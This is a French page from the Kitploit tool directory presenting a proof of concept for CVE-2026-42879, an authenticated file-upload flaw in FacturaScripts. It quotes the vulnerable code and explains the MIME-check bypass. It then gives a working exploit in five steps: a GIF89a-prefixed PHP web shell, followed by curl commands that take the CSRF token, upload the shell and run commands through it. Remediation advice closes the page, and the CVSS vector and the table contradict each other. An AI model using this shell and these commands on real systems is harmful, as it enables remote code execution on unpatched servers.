Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-42879 — FacturaScripts RCE Exploit - Preuve de concept | Kitploit
Outils/GitHubGitHub/guzrex/cve-2026-42879
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingDéveloppement de Charges Utiles
GitHubguzrex/cve-2026-42879

CVE-2026-42879

FacturaScripts RCE Exploit - Preuve de concept

Voir le dépôt
il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-42879 - FacturaScripts - Téléversement de fichier non restreint authentifié via contournement du type MIME

Résumé

Une vulnérabilité de téléversement de fichier non restreint authentifié existe dans la fonctionnalité de téléversement d'images de produits de FacturaScripts. Un attaquant disposant d'identifiants valides peut téléverser un fichier PHP déguisé en image GIF (à l'aide d'un en-tête GIF89a), contournant ainsi la validation du type MIME. Le fichier est stocké avec son extension d'origine, y compris les extensions exécutables telles que .php.


Détails

La vulnérabilité existe dans :

Core/Lib/ExtendedController/ProductImagesTrait.php

Plus précisément dans la méthode addImageAction().

Code vulnérable

root@kitploit:~
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
    Tools::log()->error('file-not-supported');
    continue;
}
 
$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());
Télécharger l’outil

Cause racine

  • La validation vérifie uniquement si le type MIME contient "image/"
  • Cela peut être contourné en ajoutant des octets magiques GIF89a au début d'un fichier PHP
  • Le système identifie incorrectement le fichier comme image/gif
  • Le fichier est enregistré avec une extension .php dans un répertoire accessible via le web

Comportement de stockage des fichiers

Les fichiers téléversés sont stockés dans :

root@kitploit:~
/MyFiles/YYYY/MM/X.php

Où X est un identifiant auto-incrémenté. Cela permet une exécution directe à distance :

root@kitploit:~
http://target/MyFiles/2026/03/2.php?cmd=id

Impact

Une exploitation réussie permet :

Un attaquant peut téléverser des fichiers avec des extensions exécutables (par exemple .php) sur le serveur, ce qui, selon la configuration du serveur, pourrait conduire à une exploitation plus poussée.


Preuve de concept (Manuelle)

Étape 1 : Créer un fichier malveillant

root@kitploit:~
cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF

Étape 2 : S'authentifier

  • Se connecter à l'application
  • Extraire PHPSESSID des cookies du navigateur

Étape 3 : Obtenir le jeton CSRF

root@kitploit:~
curl -s "http://target/EditProducto?code=CONTA621" \
  -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
  | grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4

Étape 4 : Téléverser le shell

root@kitploit:~
curl -X POST "http://target/EditProducto?code=CONTA621" \
  -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
  -F "multireqtoken=YOUR_CSRF_TOKEN" \
  -F "action=add-image" \
  -F "activetab=EditProductoImagen" \
  -F "idproducto=3" \
  -F "newfiles[][email protected]"

Étape 5 : Exécuter la commande

root@kitploit:~
curl "http://target/MyFiles/2026/03/2.php?cmd=id"

CVSS v3.1

Vecteur : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N Score de base : 6.3 (Modéré)

MétriqueValeur
Vecteur d'attaqueRéseau (AV:N)
Complexité de l'attaqueFaible (AC:L)
Privilèges requisFaible (PR:L)
Interaction utilisateurAucune (UI:N)
PortéeModifiée (S:C)
ConfidentialitéÉlevée (C:H)
IntégritéÉlevée (I:H)
DisponibilitéÉlevée (A:H)

CWE

  • CWE-434 : Téléversement non restreint de fichier de type dangereux

Produits concernés

ChampValeur
ÉcosystèmePackagist
ID CVECVE-2026-42879
Nom du paquetfacturascripts/facturascripts
Versions concernées<= 2025.81
Versions corrigéesPas encore corrigé
Corrigé dansEn attente

Recommandations de remédiation

  1. Valider l'extension du fichier — rejeter tout téléversement dont le nom de fichier se termine par .php, .phtml, .phar ou d'autres extensions exécutables, quel que soit le type MIME
  2. Régénérer les noms de fichiers côté serveur — ne jamais utiliser getClientOriginalName() ; attribuer un nom sécurisé basé sur un UUID avec une extension validée
  3. Stocker les téléversements en dehors de la racine web — servir les fichiers via un contrôleur qui diffuse le contenu, empêchant l'exécution directe par URL
  4. Utiliser une bibliothèque de détection de type de fichier — valider le contenu réel du fichier (octets magiques + extension + type MIME) avec une bibliothèque comme fileinfo plutôt que de se fier au MIME fourni par le client

Crédits

  • Découvreur : Abdullah Alwasabei / Guzrex